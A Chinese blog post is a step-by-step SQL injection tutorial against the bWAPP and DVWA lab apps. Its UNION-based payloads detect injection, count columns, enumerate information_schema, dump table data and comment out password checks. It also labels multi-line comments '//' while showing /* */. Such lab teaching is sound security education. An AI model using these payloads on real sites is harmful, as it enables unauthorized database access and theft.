美文网首页
SQL injection基本流程 by L0st

SQL injection基本流程 by L0st

作者: l0st | 来源:发表于2018-11-18 23:14 被阅读0次

    攻击流程

    1. 判断是否存在注入,注入是字符型还是数字型

    用1’ or 1=1#若返回正常则为字符型,否则用1 or 1=1#测试为数字型

    Admin’ and 1=1 #

    Admin’ or 1#

    1’ or 1=1#

    2.猜解SQL查询语句中的列数(查看sql语句查了几个列)

    输入1′ or 1=1 order by 1 #查询成功

    输入1′ or 1=1 order by 2 #,查询成功

    继续查询,直到出现错误

    即可知道SQL查了几个列(字段)

    注:

    可以通过输入union select 1,2,3…来猜解字段数

    或者union select null,2,3,…

    3确定显示的字段顺序(确定SQL查列的顺序是firstname,lastname还是lastname,firstname)

    输入1′ union select 1,2,3,4,5,6,7 #,查询成功


    1.png

    可以知道title为第2个查询的列,release第三,以此类推。。

    4.获取当前数据库名

    输入1′ union select 1,database(),3,4,5,6,7 #,查询成功

    说明当前数据库为bwapp

    5.获取数据库中的表名

    1' union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema=database() #查询成功:

    说明bwapp库中有5个表,分别是blog,heroes,movies,users,visitors

    6.获取表中的字段名

    1' union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_name=’movies’ #(如果失败,试着手动输入’movies’的单引号.)查询成功,说明movies表中有id,title,release_year,genre,main_character,imdb,tickets_stock这些列(字段)

    7.下载数据

    1' union select 1,group_concat(id,tickets_stock),group_concat(title),4,5,6,7 from movies#

    这样就返回了各字段的数据。

    很多时候都是使用注释的方法将验证admin密码语句注释掉:

    一、单行注释

    SQL语句中的单行注释使用 -- (“--”后面一定要加空格!!!)

    create database database_x --创建数据库database_x

    二、多行注释

    SQL语句中的多行注释采用 //

    create database database_x

    /*

    创建一个数据库

    名字叫做database_x

    */

    三.#注释

    DVWA中发现的,字符型注入中语句末尾使用#注释掉’

    相关文章

      网友评论

          本文标题:SQL injection基本流程 by L0st

          本文链接:https://www.haomeiwen.com/subject/rsmnfqtx.html